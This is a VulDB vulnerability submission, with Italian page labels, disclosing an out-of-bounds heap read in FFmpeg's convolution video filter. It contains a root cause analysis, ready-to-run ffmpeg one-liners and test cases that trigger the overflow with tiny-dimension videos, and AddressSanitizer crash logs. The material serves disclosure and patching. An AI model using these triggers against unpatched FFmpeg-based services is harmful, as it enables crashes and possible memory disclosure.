| Titolo | FFmpeg FFmpeg Affected versions: FFmpeg 3.0 and later, prior to the inclusion of commits 8970658472 and e24b9820b4 (merged around late Februar Out-of-Bounds Read |
|---|
| Descrizione | Summary
An out-of-bounds read vulnerability exists in FFmpeg's convolution video filter (libavfilter/vf_convolution.c) when processing videos with dimensions smaller than the convolution kernel size. The mirror reflection boundary handling algorithm can produce negative array indices, leading to heap-buffer-overflow reads.
Affected Components
File: libavfilter/vf_convolution.c
File: libavfilter/convolution.h
Functions: setup_3x3, setup_5x5, setup_7x7, setup_row, setup_column
Affected filters: convolution, prewitt, roberts, sobel, kirsch, scharr
FFmpeg Version
ffmpeg version N-122467-gc3d3377fe1
libavfilter 11. 10.101
Root Cause Analysis
The setup_* functions use a mirror reflection algorithm for boundary handling:
// From libavfilter/convolution.h (setup_3x3) and vf_convolution.c (setup_5x5, setup_7x7)
xoff = xoff >= w ? 2 * w - 1 - xoff : xoff;
yoff = yoff >= h ? 2 * h - 1 - yoff : yoff;
c[i] = src + xoff * bpc + yoff * stride; // OOB if xoff or yoff is negative
When the video dimensions are too small relative to the kernel size, 2 * h - 1 - yoff can become negative:
Example with 5x5 convolution on 1-pixel-height video:
h = 1, y = 0
For i = 0: yoff = FFABS(0 + 0 - 2) = 2
Since yoff (2) >= h (1): yoff = 2 * 1 - 1 - 2 = -1 ❌
This negative yoff causes c[i] = src + ... + (-1) * stride, reading memory before the buffer.
Quick Reproduce (One-liner Commands)
The following commands can directly trigger the vulnerability without any input files:
# Method 1: 5x5 convolution + 1-pixel-height video (simplest)
ffmpeg -f lavfi -i "color=size=10x1:duration=0.1" -vf "convolution=0m='1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1'" -f null -
# Method 2: 7x7 convolution + 1-pixel-height video
ffmpeg -f lavfi -i "color=size=10x1:duration=0.1" -vf "convolution=0m='1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1'" -f null -
# Method 3: Row mode + narrow video
ffmpeg -f lavfi -i "color=size=2x10:duration=0.1" -vf "convolution=0m='1 1 1 1 1 1 1 1 1':0mode=row" -f null -
Note: FFmpeg must be compiled with AddressSanitizer to detect the out-of-bounds read.
Proof of Concept
Test Case 1: 5x5 convolution on 1-pixel-height video
# Generate 1-pixel-height video
ffmpeg -f lavfi -i "color=c=red:size=10x1:rate=1:duration=1" -pix_fmt yuv420p input.y4m
Test Case 2: 7x7 convolution on 1-pixel-height video
ffmpeg -i input.y4m -vf "convolution=0m='1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1'" output.y4m
Test Case 3: Row mode on narrow video
# Generate narrow video (2x10)
ffmpeg -f lavfi -i "color=c=green:size=2x10:rate=1:duration=1" -pix_fmt yuv420p input_narrow.y4m
ASan Output
Test Case 1: 5x5 Convolution (heap-buffer-overflow)
==1070913==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e0000000f8 at pc 0x5ae4dbe71558 bp 0x7cd2fe5fc9a0 sp 0x7cd2fe5fc990
READ of size 1 at 0x50e0000000f8 thread T2 (vf#0:0)
#0 0x5ae4dbe71557 in filter_5x5 libavfilter/vf_convolution.c:450
#1 0x5ae4dbe73375 in filter_slice libavfilter/vf_convolution.c:625
#2 0x5ae4dbd3e998 in worker_func libavfilter/pthread.c:48
#3 0x5ae4df2b4f19 in run_jobs libavutil/slicethread.c:65
#4 0x5ae4df2b61f1 in avpriv_slicethread_execute libavutil/slicethread.c:215
#5 0x5ae4dbd3ebd5 in thread_execute libavfilter/pthread.c:70
#6 0x5ae4dbcd7161 in ff_filter_execute libavfilter/avfilter.c:1696
#7 0x5ae4dbe777c6 in filter_frame libavfilter/vf_convolution.c:850
0x50e0000000f8 is located 8 bytes to the left of 84-byte region [0x50e000000100,0x50e000000154)
SUMMARY: AddressSanitizer: heap-buffer-overflow libavfilter/vf_convolution.c:450 in filter_5x5
Test Case 2: 7x7 Convolution (heap-buffer-overflow)
==1070934==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e0000000ef at pc 0x5f1a3892238c bp 0x75fdc07fc9a0 sp 0x75fdc07fc990
READ of size 1 at 0x50e0000000ef thread T2 (vf#0:0)
#0 0x5f1a3892238b in filter_7x7 libavfilter/vf_convolution.c:432
#1 0x5f1a38924375 in filter_slice libavfilter/vf_convolution.c:625
#2 0x5f1a387ef998 in worker_func libavfilter/pthread.c:48
...
0x50e0000000ef is located 17 bytes to the left of 84-byte region [0x50e000000100,0x50e000000154)
SUMMARY: AddressSanitizer: heap-buffer-overflow libavfilter/vf_convolution.c:432 in filter_7x7
Test Case 3: Row Mode (heap-buffer-overflow)
==1071124==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e0000000ff at pc 0x5b794330ef02 bp 0x7f969c1fc9a0 sp 0x7f969c1fc990
READ of size 1 at 0x50e0000000ff thread T2 (vf#0:0)
#0 0x5b794330ef01 in filter_row libavfilter/vf_convolution.c:487
#1 0x5b7943310375 in filter_slice libavfilter/vf_convolution.c:625
#2 0x5b79431db998 in worker_func libavfilter/pthread.c:48
...
0x50e0000000ff is located 1 bytes to the left of 94-byte region [0x50e000000100,0x50e00000015e)
SUMMARY: AddressSanitizer: heap-buffer-overflow libavfilter/vf_convolution.c:487 in filter_row
Minimum Size Requirements
Kernel Size Max Offset Minimum Required h/w
3x3 1 ≥ 1
5x5 2 ≥ 2
7x7 3 ≥ 2
Row mode (n elements) (n-1)/2 w ≥ (n+1)/2
Column mode (n elements) (n-1)/2 h ≥ (n+1)/2
Impact
Type: Out-of-bounds read (CWE-125)
Severity: Medium
Impact: Information disclosure, potential crash, denial of service |
|---|
| Fonte | ⚠️ https://code.ffmpeg.org/FFmpeg/FFmpeg/issues/21487 |
|---|
| Utente | Kery Qi (UID 94424) |
|---|
| Sottomissione | 11/08/2026 11:14 (1 mese fa) |
|---|
| Moderazione | 13/09/2026 18:32 (1 month later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 403317 [FFmpeg fino a 8.0.1 Convolution Filter vf_convolution.c setup_3x3 rivelazione di informazioni] |
|---|
| Punti | 20 |
|---|